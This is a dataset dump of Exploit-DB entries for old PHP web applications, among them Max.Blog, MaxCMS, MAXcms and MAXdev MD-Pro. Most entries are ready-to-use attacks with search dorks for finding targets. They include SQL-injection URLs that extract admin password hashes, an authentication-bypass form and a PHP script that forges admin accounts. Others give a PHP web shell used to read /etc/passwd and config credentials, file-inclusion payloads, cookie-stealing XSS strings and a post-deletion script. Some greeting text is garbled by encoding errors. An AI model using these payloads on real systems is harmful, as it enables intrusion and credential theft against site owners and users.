deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11169
Description: Max's Image Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-17
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Max's Image Uploader Shell Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : www.iq-ty.com                                                                                                                            
| # Dork     : Powered by PHP F1 (Max's Image Uploader)                                         
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- http://127.0.0.1/maxImageUpload/ (To upload Evil )
 
 2- http://127.0.0.1/maxImageUpload/original/evil.php (To Find Evil)
 
================================   Dz-Ghost Team   ========================================
Greetz : 횚횩횗횉 찼횙횩횉채 챈찼횉챠횋 횙챠횕챠 횊찼횣횊횉횙 22 + 채횉횙 찾횣횙횩횗 + 채횉횙 횎챠횉횗횎 + 채횉횙 횉찼횑찼횦횋 + 채횉횙 횉찼찾횙챠찼횋
+ 채횉횙 횎찼찾횙횉채 + 채횉횙 채횕횗챈찾횋 +채횉횙 찾횤채챠횋 + 채횉횙 챈횑횕횋 +채횉횙 횄횤횉횕챠횗 + 채횉횙 횦횉횙 챈찾횩채횉횙 + 채횉횙 챈책횗횉채

Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #11557
Description: Max's Photo Album - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-24
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Max's Photo Album Shell Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : www.iq-ty.com                                                                                                                            
| # Dork     : Powered by PHP F1 (Max's Photo Album)                                         
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- http://127.0.0.1/maxPhotoAlbum/admin.php (To upload Evil )
 
 2- http://127.0.0.1/maxPhotoAlbum/original/evil.php (To Find Evil)
 
================================   Dz-Ghost Team   ========================================
Greetz : 횚횩횗횉 찼횙횩횉채 챈찼횉챠횋 횙챠횕챠 횊찼횣횊횉횙 22 + 채횉횙 찾횣횙횩횗 + 채횉횙 횎챠횉횗횎 + 채횉횙 횉찼횑찼횦횋 + 채횉횙 횉찼찾횙챠찼횋
+ 채횉횙 횎찼찾횙횉채 + 채횉횙 채횕횗챈찾횋 +채횉횙 찾횤채챠횋 + 채횉횙 챈횑횕횋 +채횉횙 횄횤횉횕챠횗 + 채횉횙 횦횉횙 챈찾횩채횉횙 + 채횉횙 챈책횗횉채

Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #36968
Description: Max's PHP Photo Album 1.0 - 'id' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-14
Author: n0tch

Exploit:
source: https://www.securityfocus.com/bid/52474/info

Max's PHP Photo Album is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. 

http//www.example.com/maximage/showImage.php?id=../../../../../../../../../../../../etc/passwd%00
Exploit-DB #7899
Description: Max.Blog 1.0.6 - 'offline_auth.php' Offline Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-28
Author: Salvatore Fresta

Exploit:
###################             Salvatore "drosophila" Fresta
###################


Application:    Max.Blog
                               http://www.mzbservices.com
Version:                Max.Blog <= 1.0.6
Bug:            * Offline Authentication Bypass
Exploitation:   Remote
Dork:                   intext:"Powered by Max.Blog"
Date:           27 Jan 2009
Discovered by:  Salvatore "drosophila" Fresta
Author:         Salvatore "drosophila" Fresta
                       e-mail: drosophilaxxx@gmail.com


############################################################################

- BUGS

Offline Authentication Bypass Exploit:

       Requisites: magic quotes = off

       File affected: offline_auth.php

       This bug allows a guest to bypass an offline authentication service
       using SQL Injection vulnerability.

############################################################################

- CODE

<html>
       <head>
               <title>
                       Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 Offline
Authentication Bypass Exploit
               </title>
       </head>
       <body>
               <form
action="http://www.site.com/path/offline_auth.php" method="POST">
                       <input type="text" name="username"
value="admin'#" size="15">
                       <input type="hidden" name="password">
                       <input type="submit" value="Go!">
               </form>
       </body>
</html>

############################################################################

# milw0rm.com [2009-01-28]
Exploit-DB #7885
Description: Max.Blog 1.0.6 - 'show_post.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-27
Author: Salvatore Fresta

Exploit:
###################             Salvatore "drosophila" Fresta         ###################


Application:     Max.Blog http://www.mzbservices.com
Version:         Max.Blog <= 1.0.6
Bug:             * SQL Injection
Exploitation:    Remote
Dork:            intext:"Powered by Max.Blog"
Date:            20 Jan 2009
Discovered by:   Salvatore "drosophila" Fresta
Author:          Salvatore "drosophila" Fresta
                 e-mail: drosophilaxxx@gmail.com


############################################################################

- BUGS

SQL Injection:

       File affected: show_post.php

       This bug allows a guest to view username and password (md5) of a
       registered user with the specified id (usually 1 for the admin)

       http://www.site.com/path/show_post.php?id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23

############################################################################

# milw0rm.com [2009-01-27]
Exploit-DB #7898
Description: Max.Blog 1.0.6 - 'submit_post.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-28
Author: Salvatore Fresta

Exploit:
###################             Salvatore "drosophila" Fresta
###################


Application:    Max.Blog
                               http://www.mzbservices.com
Version:                Max.Blog <= 1.0.6
Bug:            * SQL Injection
Exploitation:   Remote
Dork:                   intext:"Powered by Max.Blog"
Date:           27 Jan 2009
Discovered by:  Salvatore "drosophila" Fresta
Author:         Salvatore "drosophila" Fresta
                       e-mail: drosophilaxxx@gmail.com


############################################################################

- BUGS

SQL Injection:

       Requisites: magic quotes = off

       File affected: submit_post.php

       This bug allows a registered user to view username and password
(md5) of a
       registered user with the specified id (usually 1 for the admin)

       http://www.site.com/path/submit_post.php?draft=-1'+UNION+ALL+SELECT+1,NULL,NULL,CONCAT(username,char(58),password)+FROM+users+WHERE+id=1%23

############################################################################

# milw0rm.com [2009-01-28]
Exploit-DB #7835
Description: Max.Blog 1.0.6 - Arbitrary Delete Post
Type: webapps
Platform: php
Date: 2009-01-20
Author: SirGod

Exploit:
<html>
<head>
<title>Max.Blog 1.0.6 Delete Post Exploit</title>
</head>

<body>
<p align="center">
<b>Max.Blog 1.0.6 Delete Post Exploit</b><br /><br />
<b>Discovered by <b>SirGod</b><br />
Thanks to <b>Nytro</b><br />
Please visit : <br />
------------------------<br />
www.mortal-team.org<br />
------------------------<br />
www.h4cky0u.org<br />
------------------------<br />
www.xpl0it.info<br />
------------------------<br />
www.anti-intruders.org<br />
------------------------<br />
</b>
</p>

<?php
if(isset($_POST['submit']))
{
    $site=$_POST['site'];
	$id=$_POST['post_id'];
	$pagina=file_get_contents("http://".$site."/delete.php?post=".$post_id."&confirm=yes");
	print "<p align=\"center\">Done!</p><br />";
}

?>

<form method="POST">
<p align="center">
Site: www. <input type="text" name="site" value="site.com/path" /><br
/> (without http,www and trailing slash)<br />
Post ID: <input type="text" name="post_id" value="1" /><br /><br />
<input type="submit" name="submit" value="Delete" />
</p>
</form>
</body>
</html>

# milw0rm.com [2009-01-20]
Exploit-DB #8672
Description: MaxCMS 2.0 - 'm_username' Arbitrary Create Admin
Type: webapps
Platform: php
Date: 2009-05-13
Author: Securitylab.ir

Exploit:
<?php
print_r('
+---------------------------------------------------------------------------+
maxcms2.0 creat new admin exploit
by Securitylab.ir
+---------------------------------------------------------------------------+
');

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to maxcms
Example:
php '.$argv[0].' localhost /maxcms2/ 
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$name = rand(1,10000);
$cmd = 'm_username=securitylab'.$name.'&m_[CREDENTIAL_REDACTED]_pwd2=securitylab&m_level=0';

$resp = send($cmd);
if (!eregi('alert',$resp)) {echo"[~]bad!,exploit failed";exit;}

print_r('
+---------------------------------------------------------------------------+
[+]cool,exploit seccuss
[+]you have add a new adminuser securitylab'.$name.'/securitylab
+---------------------------------------------------------------------------+
');


function send($cmd)
{
    global $host, $path;
    $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: securitylab\r\n";
    $message .= "X-Forwarded-For:1.1.1.1\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Cookie: m_username=securitylab'%20union%20select%[PII_REDACTED]3474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%[PII_REDACTED]3474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d[PII_REDACTED]f524ae9d7\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    echo $message;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);
    echo $resp;
    return $resp;
}
?>

# milw0rm.com [2009-05-13]
Exploit-DB #9322
Description: MAXcms 3.11.20b - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-08-01
Author: NoGe

Exploit:
===============================================================================================


  [o] MAXcms - Databay Content Management System 3.11.20b Remote File Inclusion Vulnerability

       Software : MAXcms - Databay Content Management System version 3.11.20b
       Vendor   : http://www.databay.de
       Download : http://downloads.sourceforge.net/micro-cms/microcms.zip
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===============================================================================================


  [o] Vulnerable file


       is_projectPath parameter

        includes/InstantSite/inc.is_root.php

       GLOBALS[thCMS_root] parameter

        classes/class.Tree.php
        includes/inc.thcms_admin_mediamanager.php
        modul/mod.rssreader.php

       is_path parameter

        classes/class.tasklist.php
        classes/class.thcms.php
        classes/class.thcms_content.php
        classes/class.thcms_modul_parent.php
        classes/class.thcms_page.php
        classes/class.thcsm_user.php
        includes/InstantSite/class.Tree.php

       thCMS_root parameter

        classes/class.thcms_modul.php
        includes/inc.page_edit_tasklist.php
        includes/inc.thcms_admin_overview_backup.php
        includes/inc.thcms_edit_content.php
        modul/class.thcms_modul_parent_xml.php
        modul/mod.cmstranslator.php
        modul/mod.download.php
        modul/mod.faq.php
        modul/mod.guestbook.php
        modul/mod.html.php
        modul/mod.menu.php
        modul/mod.news.php
        modul/mod.newsticker.php
        modul/mod.rss.php
        modul/mod.search.php
        modul/mod.sendtofriend.php
        modul/mod.sitemap.php
        modul/mod.tagdoc.php
        modul/mod.template.php
        modul/mod.test.php
        modul/mod.text.php
        modul/mod.upload.php
        modul/mod.users.php



  [o] Exploit

       http://localhost/[path]/includes/InstantSite/inc.is_root.php?is_projectPath=[evilc0de]
       http://localhost/[path]/classes/class.Tree.php?GLOBALS[thCMS_root]=[evilc0de]
       http://localhost/[path]/classes/class.thcsm_user.php?is_path=[evilc0de]
       http://localhost/[path]/modul/mod.users.php?thCMS_root=[evilc0de]


===============================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
===============================================================================================

# milw0rm.com [2009-08-01]
Exploit-DB #9350
Description: MAXcms 3.11.20b - Remote File Inclusion / File Disclosure
Type: webapps
Platform: php
Date: 2009-08-03
Author: GoLd_M

Exploit:
MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities
I- Remote File Disclosure Vulnerabilities
In /includes/inc.thcms_admin_dirtree.php (Code)
22: if ($_GET["getjs"]=="1") {  <<-------!!
23:    readfile($thCMS_root."/includes/wz_dragdrop.js");<<-------!!
24:    exit;
25: }
POC :
     http://localhost//microcms/includes/inc.thcms_admin_dirtree.php?getjs=1&thCMS_root=inc.thcms_admin_dirtree.php%00
                                              #####################
II- Remote File Inclusion Vulnerabilities
In /includes/file_manager/special.php (Code)
01: <?php
02: /**
03: *    Hier wird $af_pk Ã¼bergeben.
04: *    Das ist die PK aus der Tabelle adovo_filedata auf den einen Datensatz.
05: */
06:
07: include($fm_includes_special); <<-------!!
08:
09: ?>
POC :
     http://localhost//microcms/includes/file_manager/special.php?fm_includes_special=http://localhost/020.txt

Thanx To

          .___________..______     ____    ____  ___       _______   
           |           ||   _  \    \   \  /   / /   \     /  _____|  
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __    
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |   
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |   
               |__|     | _| `._____|   |__| /__/     \__\ \______|   
                                                             
       ___       ______     ___       _______   _______ .___  ___. ____    ____   
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /   
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /    
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/     
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |       
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|      Tryag.Cc

# milw0rm.com [2009-08-03]
Exploit-DB #27576
Description: MAXDEV CMS 1.0.72/1.0.73 - 'PNuserapi.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-06
Author: king_purba

Exploit:
source: https://www.securityfocus.com/bid/17399/info

MAXDEV CMS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/maxdev/index.php?module=Topics&func=display&topicid=0 AND 1=0
http://www.example.com/maxdev/index.php?module=Topics&func=display&topicid=0 AND 1=1
Exploit-DB #26225
Description: MAXdev MD-Pro 1.0.73 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2005-09-06
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14750/info

MAXdev MD-Pro is prone to an arbitrary remote file upload vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

This issue is due to a design error in the application that uses a blacklist technique, saying what file extensions can not be uploaded, versus a whitelist design that would only permit certain file extensions. An attacker can exploit this vulnerability to upload arbitrary files including malicious scripts and possibly execute the script on the affected server.

This can ultimately facilitate unauthorized access in the context of the Web server. 

upload a file with .inc extension with this code inside:

<?php
error_reporting(0);
system($_GET[c]);
?>

now list directories with:
http://www.example.com/upload/dl/[filename].inc?c=ls%20-la

see /etc/passwd file:
http://www.example.com/upload/dl/[filename].inc?c=cat%20/etc/passwd

see database username and password:
http://www.example.com/upload/dl/[filename].inc?c=cat%20.././config/md-config.php
Exploit-DB #26226
Description: MAXdev MD-Pro 1.0.73 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-06
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14751/info

MAXdev MD-Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules.php?op=modload&name=subjects&file=print&print=<script>alert('LOL')</script>
http://www.example.com/modules.php?op=modload&name=Messages&file=bb_smilies&sitename=</title><script>alert(LOL')</script>
http://www.example.com/modules.php?op=modload&name=Messages&file=bbcode_ref&sitename=</title><script>alert(LOL')</script>
http://www.example.com/javascript/openwindow.php?hlpfile=")<html><script>alert(document.cookie)</script>
Exploit-DB #28863
Description: MAXdev MD-Pro 1.0.76 - 'user.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-26
Author: r00t

Exploit:
MAXdev MD-Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Maxdev MD-Pro 1.0.76 is vulnerable; earlier versions may also be affected.

http://www.example.com/user.php?uname=1&module=NS-LostPassword&op=[code]
Exploit-DB #31392
Description: MAXdev My eGallery Module 3.04 - For Xoops 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-12
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/28220/info

MAXdev My eGallery module for Xoops is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

My eGallery 3.04 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/*